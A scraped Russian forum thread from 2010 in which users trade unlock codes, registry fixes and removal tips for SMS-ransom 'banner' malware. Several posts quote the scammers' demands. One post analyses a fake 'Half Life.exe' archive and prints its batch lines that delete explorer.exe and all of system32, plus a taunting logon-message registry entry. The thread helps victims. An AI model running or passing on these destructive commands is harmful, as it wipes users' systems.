Мобильный контент
Мобильный контент База данных Работа Форумы Блоги Подписка 

Новости CForum.ru

02.11. [Маркетинг]  ЗНТЦ (Зеленоградский нанотехнологический центр, Зеленоградский наноцентр) / MForum.ru

09.01. [Маркетинг]  ЦТС / MForum.ru

09.01. [Маркетинг]  МТС Энтертайнмент / MForum.ru

28.02. [Маркетинг]   Материнские платы / MForum.ru

01.10. [Бизнес]  Роботренды. Что нового в мире роботов и дронов / CForum.ru

24.04. [Бизнес]  Tele2 представила итоги работы на рынке мобильной коммерции на Дальнем Востоке / CForum.ru

13.10. [Бизнес]  Tele2 объявляет об акции "Бесплатные ретро-хиты" / CForum.ru

06.10. [Бизнес]  Компания J’son & Partners Consulting представляет оценки рынка цифровой дистрибуции музыки в Росси и в мире по итогам 2013 года / CForum.ru

18.09. [Бизнес]  Рейтинг мобильных разработчиков России 2014 от Тэглайн / CForum.ru

24.08. [Бизнес]  КСелл вышел на рынок мобильного эквайринга / CForum.ru

Мобильные телефоны на MForum.ru

« Все форумы

Как избавиться от навязчивого баннера, требующего отправить SMS

Тему создал(а): Сеньор Тыква

В ответном SMS обещают прислать код для снятия этого "проклятия". Не верьте. Действуйте, как описано здесь.

Главное правило – не отправляйте SMS! И по каждому такому случаю надо жаловаться операторам сотовой связи, указывая короткие номера и коды, по которым мошенники получают деньги. Только так можно усложнить хакерам жизнь, и соответственно усмирить их пыл.


Подробная инструкция по удалению баннеров-вымогателей, а также по восстановлению функциональности системы после удаления баннеров, обновлена 01.03.2010: скачать doc-файл (альтернативная ссылка)

Сводная таблица ответных кодов на различные баннеры (вирусы), обновлена 08.03.2010: скачать Excel-файл (альтернативная ссылка)

Инструкция и таблица составлены на основе всех страниц данного форума, спасибо zaruta и passerby.

Если в таблице есть ваш вариант, но он не подошел, пишите сообщение в форум.

Пошаговая инструкция по разблокировке выхода на любимые сайты интернета (Windows XP, Vista, 7), обновлена 04.09.2010: скачать doc-файл (альтернативная ссылка) (спасибо zaruta)

10 способов избавления от баннера, блокирующего сайты ВКонтакте, Одноклассники и др., обновлена 23.09.2010: скачать doc-файл (альтернативная ссылка) (спасибо zaruta)

Подробная инструкция, как удалить баннер, который просит пополнить счет абонента, с помощью LIVE CD или ERD COMMANDER, обновлена 17.09.2010: скачать doc-файл (альтернативная ссылка) (спасибо time, zaruta)


Полезные ссылки:


Метод борьбы от ox1227:

http://technet.microsoft.com/... - здесь качайте Process Explorer.Запустите его и сразу переместите туда, где его не будет закрывать баннер. Когда появится баннер, найдите в списке explorer.exe, нажмите на нем правой кнопкой и выберите properties, затем Threads, появится окно со списком dll-файлов, используемых им. Либо ищите в инете по их названиям то для чего они нужны, либо методом тыка завершайте их, нажимая кнопку "Kill". Там же смотрим, где этот файл находится, затем удаляем его на винчестере.

См. также тему: Что делать, если ВКонтакте, Mail.ru, Яндекс и другие популярные сайты вдруг начинают требовать активацию путем отправки SMS

Также многих волнует: Как отказаться от подписки на сообщения этого форума?

 

Страницы: << · >>  1 · ... · 169 · 170 · 171 · 172 · 173 · 174 · 175 · 176 · 177 · ... · 464 

23.02.2010 16:15 От: polnayazhopa
and_ey 23.02.2010 16:02:
банер был, его дортор беб таблетка убыла, щас тест проверил видает такую ошибку, винда нормально роботает, только диспетчер задач висвечивает что отключен одминистратором.

Дело в том, что вирусы отключают Диспетчер задач, чтобы их нельзя было принудительно выгрузить из оперативной памяти. При этом в Реестре Windows в разделе [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem] создается параметр REG_DWORD DisableTaskMgr со значением 1. Как сделать доступным запуск Диспетчера задач, или Займемся «групповухой» Даже после удаления вируса, запретившего запуск Диспетчера задач, запуск его невозможен. Чтобы вновь сделать возможным запуск Диспетчера задач нажмите Пуск –> Выполнить… –> в поле Открыть: введите gpedit.msc –> OK –> откроется диалоговое окно Групповая политика –> Групповая политика –> Политика «Локальный компьютер» –> Конфигурация пользователя –> Административные шаблоны –> Система –> Возможности Ctrl+Alt+Del –> справа в окне Возможности Ctrl+Alt+Del двойным щелчком левой кнопки мыши по строке Удалить диспетчер задач (Состояние по умолчанию – Не задана) вызовите окно Свойства: Удалить Диспетчер задач –> установлен переключатель Включен –> поставьте Отключен (или Не задан) –> Применить –> OK. Закройте окно Групповая политика. Для вступления в силу изменений без перезагрузки ПК сверните все открытые окна (щелкнув кнопку Свернуть все окна на панели Быстрый запуск, или нажав сочетание клавиш – клавиши с логотипом Windows+D), нажмите клавишу F5 (или щелкните правой кнопкой мыши по свободной от значков поверхности Рабочего стола, в открывшемся контекстном меню щелкните Обновить).

23.02.2010 16:35 От: zaruta
and_ey 23.02.2010 16:02:
банер был, его дортор беб таблетка убыла, щас тест проверил видает такую ошибку, винда нормально роботает, только диспетчер задач висвечивает что отключен одминистратором.

Или вот так: "Пуск" - "Выполнить" вставить следующую команду:

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f Потом нажать Enter и УСЁ!!!

23.02.2010 16:53 От: gadzhiyusup
dokvv 26.05.2009 16:53:
Вот такая хренотень в верхней части страницы. Присутствует во всех браузерах (Opera, Explorer, Mozilla) на всех страницах всех майтов. Помогите убрать. Спасибо.

Удаление плагина Для удаления плагина, выберите страну проживания, и отправьте sms сообщение на номер и с текстом, указанными для вашей страны. В ответ Вы получите на свой мобильный телефон код, который нужно ввести в поле. После этого плагин сразу удалится. Если у Вас возникли проблемы с удалением, обратитесь по нашим контактам: ICQ 1439755, E-mail: doddown@list.ru

Выберите страну, в которой Вы проживаете: Россия

Отправьте SMS с текстом 7709 на номер 4460

После чего дождитесь ответного смс с кодом, который Вы должны будете ввести в поле ниже.

Выберите страну, в которой Вы проживаете: Украина

Отправьте SMS с текстом 7709 на номер 5014
23.02.2010 16:53 От: and_ey
Или вот так: "Пуск" - "Выполнить" вставить следующую команду:

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f Потом нажать Enter и УСЁ!!!

большое спасибо, сразу запустился))) а искать мне больше ничего не стоит?

23.02.2010 17:22 От: zaruta
and_ey 23.02.2010 16:53:
Или вот так: "Пуск" - "Выполнить" вставить следующую команду:

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f Потом нажать Enter и УСЁ!!!
большое спасибо, сразу запустился))) а искать мне больше ничего не стоит?

Прочешите систему антивирусными программами Malwarebytes' Anti-Malware, AVZ и FixAfterVirus ( ссылки не даю их полно на форуме)

23.02.2010 17:27 От: zaruta
gadzhiyusup 23.02.2010 16:53:
dokvv 26.05.2009 16:53:
Вот такая хренотень в верхней части страницы. Присутствует во всех браузерах (Opera, Explorer, Mozilla) на всех страницах всех майтов. Помогите убрать. Спасибо.

Удаление плагина Для удаления плагина, выберите страну проживания, и отправьте sms сообщение на номер и с текстом, указанными для вашей страны. В ответ Вы получите на свой мобильный телефон код, который нужно ввести в поле. После этого плагин сразу удалится. Если у Вас возникли проблемы с удалением, обратитесь по нашим контактам: ICQ 1439755, E-mail: doddown@list.ru

Выберите страну, в которой Вы проживаете: Россия

Отправьте SMS с текстом 7709 на номер 4460

После чего дождитесь ответного смс с кодом, который Вы должны будете ввести в поле ниже.

Выберите страну, в которой Вы проживаете: Украина

Отправьте SMS с текстом 7709 на номер 5014

Вот Вам инструкция в картинках http://www.fayloobmennik.net/... не поможет пишите!

23.02.2010 19:16 От: Ahiles841

просят отослать 5862745 на номер 9800

23.02.2010 19:20 От: zaruta
Ahiles841 23.02.2010 19:16:
просят отослать 5862745 на номер 9800

Сначала вводим код 4479927959, затем выскакивает ещё одно окно с подтверждением, что Вам +18 ,туда вводим код 8694287294

23.02.2010 19:25 От: Ahiles841

Спасибо Вам огромное, Вы нас просто спасли, удачи вам в борьбе с ними со всеми!

23.02.2010 19:32 От: qwsdf asdfsfe

всем привет у меня красный банер с текстом 751028046 и номером 9691 ! не могу найти код !!!! ПОМОГИТЕ!!

23.02.2010 19:41 От: alexguk1

ПОМОГИТЕ,Пожалуйста!!!! 58627 44 на номер 9800!!!!

23.02.2010 19:42 От: zaruta
alexguk1 23.02.2010 19:41:
ПОМОГИТЕ,Пожалуйста!!!! 58627 44 на номер 9800!!!!

Сначала вводим код 4479927959, затем выскакивает ещё одно окно с подтверждением, что Вам +18 ,туда вводим код 8694287294

23.02.2010 19:44 От: alexguk1

Спасибо большое:)))

23.02.2010 19:55 От: мистер негодяй

у меня баннер в опере в углу и когда я захожу через омеру на сайты баннер не уходит.там написано отправьте смс и тд.я лазал в интернете и все пишут что нужно в опере зайти в инструменты в содержимое в настройки java script/и стереть строку но там чисто.в строке ничего не написано стирать нечего.помогите пожалуйста!заранее спасибо.p.s восстановление системы не помогло. и подозрительных файлов в windows/system32 тоже не оказалось

23.02.2010 19:56 От: мистер негодяй

пытался удалить оперу и скачать firefox.в нем тоже всплыл баннер

23.02.2010 20:04 От: zaruta
мистер негодяй 23.02.2010 19:55:
у меня баннер в опере в углу и когда я захожу через омеру на сайты баннер не уходит.там написано отправьте смс и тд.я лазал в интернете и все пишут что нужно в опере зайти в инструменты в содержимое в настройки java script/и стереть строку но там чисто.в строке ничего не написано стирать нечего.помогите пожалуйста!заранее спасибо.p.s восстановление системы не помогло. и подозрительных файлов в windows/system32 тоже не оказалось

Что за баннер? Опишите какой текст sms..............и на какой номер телефона............просят отправить! И ещё, если можете, сделайте скриншот баннера и залейте сюда http://us.ua/ вам на почту придёт ссылка, укажите её здесь! или сюда выложите скриншот http://www.fayloobmennik.net/ и дайте ссылку

23.02.2010 20:38 * От: polnayazhopa

2196 225 на 4460 диспетч не работает, баннер постоянно????7что посоветуете?

23.02.2010 20:40 От: zaruta
polnayazhopa 23.02.2010 20:38:
2196 225 на 4460 диспетч не работает, баннер постоянно????7что посоветуете?

Дату поменять на апрель 2010

23.02.2010 20:42 * От: мистер негодяй

я нашел как избавиться от баннера из оперы или firefoxa/просто жмите пуск-панель управления-неназначенные задания-и просто удаляете файл типа windows check и перезагружаетесь.готово!

23.02.2010 20:55 * От: passerby

Ещё раз всем привет и с праздником. zaruta & polnayazhopa особый ПРИВЕТ!!!
zaruta! ни в коем случае не запускай то, что получил от polnayazhopa !!!!!!!!
Чуть попозже отпишусь.

23.02.2010 20:55 От: polnayazhopa
zaruta 23.02.2010 20:40:
polnayazhopa 23.02.2010 20:38:
2196 225 на 4460 диспетч не работает, баннер постоянно????7что посоветуете?
Дату поменять на апрель 2010

не дает

23.02.2010 21:04 От: zaruta
polnayazhopa 23.02.2010 20:55:
zaruta 23.02.2010 20:40:
polnayazhopa 23.02.2010 20:38:
2196 225 на 4460 диспетч не работает, баннер постоянно????7что посоветуете?
Дату поменять на апрель 2010
не дает

11985114, 22196225, 33217336, 44328447, 55439558, 66541669, 77652771 88763882, 99874993

23.02.2010 21:09 От: zaruta
zaruta 23.02.2010 21:04:
polnayazhopa 23.02.2010 20:55:
zaruta 23.02.2010 20:40:
polnayazhopa 23.02.2010 20:38:
2196 225 на 4460 диспетч не работает, баннер постоянно????7что посоветуете?
Дату поменять на апрель 2010
не дает
11985114, 22196225, 33217336, 44328447, 55439558, 66541669, 77652771 88763882, 99874993

И ещё: 123, 821, Hl4P8020, fc6om1av, 4298, 5739, 290954419, 317964052 780976702, 544625144,

23.02.2010 21:15 От: polnayazhopa
zaruta 23.02.2010 21:04:
polnayazhopa 23.02.2010 20:55:
zaruta 23.02.2010 20:40:
polnayazhopa 23.02.2010 20:38:
2196 225 на 4460 диспетч не работает, баннер постоянно????7что посоветуете?
Дату поменять на апрель 2010
не дает
11985114, 22196225, 33217336, 44328447, 55439558, 66541669, 77652771 88763882, 99874993

не идет

23.02.2010 21:17 * От: zaruta
polnayazhopa 23.02.2010 21:15:
не идет

123, 821, Hl4P8020, fc6om1av, 4298, 5739, 290954419, 317964052 780976702, 544625144

23.02.2010 21:22 От: polnayazhopa
zaruta 23.02.2010 21:17:
polnayazhopa 23.02.2010 21:15:
не идет
123, 821, Hl4P8020, fc6om1av, 4298, 5739, 290954419, 317964052 780976702, 544625144

тож н еидет

23.02.2010 21:28 От: zaruta
polnayazhopa 23.02.2010 21:22:
zaruta 23.02.2010 21:17:
polnayazhopa 23.02.2010 21:15:
не идет
123, 821, Hl4P8020, fc6om1av, 4298, 5739, 290954419, 317964052 780976702, 544625144
тож н еидет

Последние: 878737, 9080843602, 878737750444, 4758010, 1850102, 851680, 11425, 116, 5072, 369, 101, 16367155

23.02.2010 21:30 От: georgi

Парни с Праздником!!! Здоровья вам и удачи по жизни! Помогайте,друг схватил какой то эксклюзив номер5121 текст 7488056 все бы ничего банер как банер,только вот в комп не заходит ни с каких режимов черный экран и надпись чего то онлайн антивирус ...... Можете чего то подсказать

23.02.2010 21:31 От: zaruta
georgi 23.02.2010 21:30:
Парни с Праздником!!! Здоровья вам и удачи по жизни! Помогайте,друг схватил какой то эксклюзив номер5121 текст 7488056 все бы ничего банер как банер,только вот в комп не заходит ни с каких режимов черный экран и надпись чего то онлайн антивирус ...... Можете чего то подсказать

Код: 2047692 и с ПРАЗДНИКОМ!

23.02.2010 21:32 От: polnayazhopa
Ещё раз всем привет и с праздником. zaruta & polnayazhopa особый ПРИВЕТ!!!
zaruta! ни в коем случае не запускай то, что получил от polnayazhopa !!!!!!!!

как тебе это? мы тебя вчера реально потеряли, думали винду переустанавливаешь.

23.02.2010 21:35 От: zaruta
polnayazhopa 23.02.2010 21:32:
Ещё раз всем привет и с праздником. zaruta & polnayazhopa особый ПРИВЕТ!!!
zaruta! ни в коем случае не запускай то, что получил от polnayazhopa !!!!!!!!
как тебе это? мы тебя вчера реально потеряли, думали винду переустанавливаешь.

Гости были вчера! Отмечали 23 февраля, я тебе ещё кодов дал на баннер 2196 225 на 4460 и по почте ссылочку для эксперимента с баннерком sms 7728 на номер 4125 повеселись!

23.02.2010 21:37 От: polnayazhopa

я их уже проверил не идут, во всех безопасных висит, баннер

23.02.2010 21:40 От: zaruta
polnayazhopa 23.02.2010 21:37:
я их уже проверил не идут, во всех безопасных висит, баннер

Вот эти ещё заряди: 572244, drwee44x, 173959, 241, U37675274

23.02.2010 21:43 От: дущ

я Леня, мой баннер просит отправить сообщение с текстом 5862712 на номер 9800 помогите прошу вас.

23.02.2010 21:45 От: zaruta
дущ 23.02.2010 21:43:
я Леня, мой баннер просит отправить сообщение с текстом 5862712 на номер 9800 помогите прошу вас.

Привет Лёня, по порнушке ползаем! Сначала вводим код 4479927959, затем выскакивает ещё одно окно с подтверждением, что Вам +18 ,туда вводим код 8694287294

23.02.2010 21:47 От: polnayazhopa
zaruta 23.02.2010 21:40:
polnayazhopa 23.02.2010 21:37:
я их уже проверил не идут, во всех безопасных висит, баннер
Вот эти ещё заряди: 572244, drwee44x, 173959, 241, U37675274

не идут

23.02.2010 21:52 От: zaruta
polnayazhopa 23.02.2010 21:47:
не идут

Проверь ещё раз:

  • по eKAV: 11985114, 22196225, 33217336, 44328447, 55439558, 66541669, 77652771 88763882, 99874993
  • от Каспера: 123, 821, Hl4P8020, fc6om1av, 4298, 5739, 290954419, 317964052 780976702, 544625144
  • от Веба: 572244, drwee44x, 173959, 241, U37675274

и эти: 878737, 9080843602, 878737750444, 4758010, 1850102, 851680, 11425, 116, 5072, 369, 101, 16367155

23.02.2010 21:52 От: georgi
zaruta 23.02.2010 21:31:
georgi 23.02.2010 21:30:
Парни с Праздником!!! Здоровья вам и удачи по жизни! Помогайте,друг схватил какой то эксклюзив номер5121 текст 7488056 все бы ничего банер как банер,только вот в комп не заходит ни с каких режимов черный экран и надпись чего то онлайн антивирус ...... Можете чего то подсказать
Код: 2047692 и с ПРАЗДНИКОМ!

Все подошло, спасибо БОЛЬШОЕ,ща внесу в таблицу +1

23.02.2010 21:56 От: polnayazhopa
zaruta 23.02.2010 21:52:
polnayazhopa 23.02.2010 21:47:
не идут
Проверь ещё раз:

  • по eKAV: 11985114, 22196225, 33217336, 44328447, 55439558, 66541669, 77652771 88763882, 99874993
  • от Каспера: 123, 821, Hl4P8020, fc6om1av, 4298, 5739, 290954419, 317964052 780976702, 544625144
  • от Веба: 572244, drwee44x, 173959, 241, U37675274
и эти: 878737, 9080843602, 878737750444, 4758010, 1850102, 851680, 11425, 116, 5072, 369, 101, 16367155

все коды проверяли по 2 раза, -----не идут

23.02.2010 21:58 От: zaruta
polnayazhopa 23.02.2010 21:56:
все коды проверяли по 2 раза, -----не идут

Изменение даты значит тоже не помогло? Тогда ручками, ручками.........

23.02.2010 22:01 От: дущ
zaruta 23.02.2010 21:45:
дущ 23.02.2010 21:43:
я Леня, мой баннер просит отправить сообщение с текстом 5862712 на номер 9800 помогите прошу вас.
Привет Лёня, по порнушке ползаем! Сначала вводим код 4479927959, затем выскакивает ещё одно окно с подтверждением, что Вам +18 ,туда вводим код 8694287294

спасибо огромное....а как вы узнаете то что надо вводить?./

23.02.2010 22:01 От: polnayazhopa
zaruta 23.02.2010 21:58:
polnayazhopa 23.02.2010 21:56:
все коды проверяли по 2 раза, -----не идут
Изменение даты значит тоже не помогло? Тогда ручками, ручками.........

да вот уж пробует

23.02.2010 22:02 От: zaruta
дущ 23.02.2010 22:01:
zaruta 23.02.2010 21:45:
дущ 23.02.2010 21:43:
я Леня, мой баннер просит отправить сообщение с текстом 5862712 на номер 9800 помогите прошу вас.
Привет Лёня, по порнушке ползаем! Сначала вводим код 4479927959, затем выскакивает ещё одно окно с подтверждением, что Вам +18 ,туда вводим код 8694287294
спасибо огромное....а как вы узнаете то что надо вводить?./

"Битва экстрасенсов" смотрите? Мы от туда!

23.02.2010 22:34 * От: polnayazhopa
polnayazhopa 23.02.2010 22:15:
смотрю как раз

то что там описано я попробовал, прогуглил, зашел на сайт пробую скачать и вот ---книгу 8377о (которой писали) заменили на 8847 там пусто потом попробовал еще раз уже книга 4045 и опять мимо, мне кажется я долго его так буду ловить

23.02.2010 23:01 * От: passerby

zaruta & polnayazhopa привет ещё раз.
Я вчера уже писал, но повторюсь ещё раз.
zaruta, в архиве, который ты получил лежит файл Half Life.exe. Всё бы ничего, но когда я посмотрел свойства этого файла, то оказалось, что это самораспаковывающийся архив! С помощью 7-ZIP я вскрыл этот архив и то, что я там увидел...
Короче, там лежат два файла: help.bat и restore.reg. Что это за файлы - видно по расширениям.
Так вот, в help.bat есть такие строчки:
rem del /f /s /q %systemroot%\explorer.exe
rem del /f /s /q %systemroot%\system32\*.*
rem - это я их закомментировал, от греха подальше, ну а суть я думаю ты понял!ю
Этого уже достаточно, чтобы "убить" систему, но killer пошёл дальше. Ест ещё файл с расширением .reg. Там ещё веселее!!!
Не буду всего описывать, приведу всего одну строчку (это прочитает потерпевший на своём мониторе после того, как запустит "игрушку" Half Life !!!
[HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon] "LegalNoticeCaption"="У вас сегодня неудачный день!" "LegalNoticeText"="Извините, но я убил Вашу операционную систему! Прощайте! :)"
Так что не надо пробовать ни на своём, ни на других компьютерах!!!
А все эти баннеры - детский лепет по сравнению с такими вот случаями.!!!

23.02.2010 23:04 От: polnayazhopa

passerby c праздником тебя!!!

23.02.2010 23:06 От: zaruta
polnayazhopa 23.02.2010 23:04:
passerby c праздником тебя!!!

Всех ещё раз с праздником! polnayazhopa дошла почта? А по Half Life.exe неплохо придумано! С огоньком!

23.02.2010 23:18 От: shekolatka

Помогите плз народ у меня вышло отправить AMT на номер 4125

23.02.2010 23:19 От: sexana

zaruta, polnayazhopa, passerby, ребята с 23 февраля вас..ни чего себенад каким монстром голову ломаете...надо отдать должное

23.02.2010 23:19 От: polnayazhopa
shekolatka 23.02.2010 23:18:
Помогите плз народ у меня вышло отправить AMT на номер 4125

табличку вверху скачай, там есть!

Страницы: << · >>  1 · ... · 169 · 170 · 171 · 172 · 173 · 174 · 175 · 176 · 177 · ... · 464 


Новое сообщение:
Complete in 229 ms, lookup=6 ms, find=223 ms

« Все форумы

© 2006-2012, CForum.ru
Адрес редакции:
Яндекс цитированияRambler's Top100Рейтинг@Mail.ru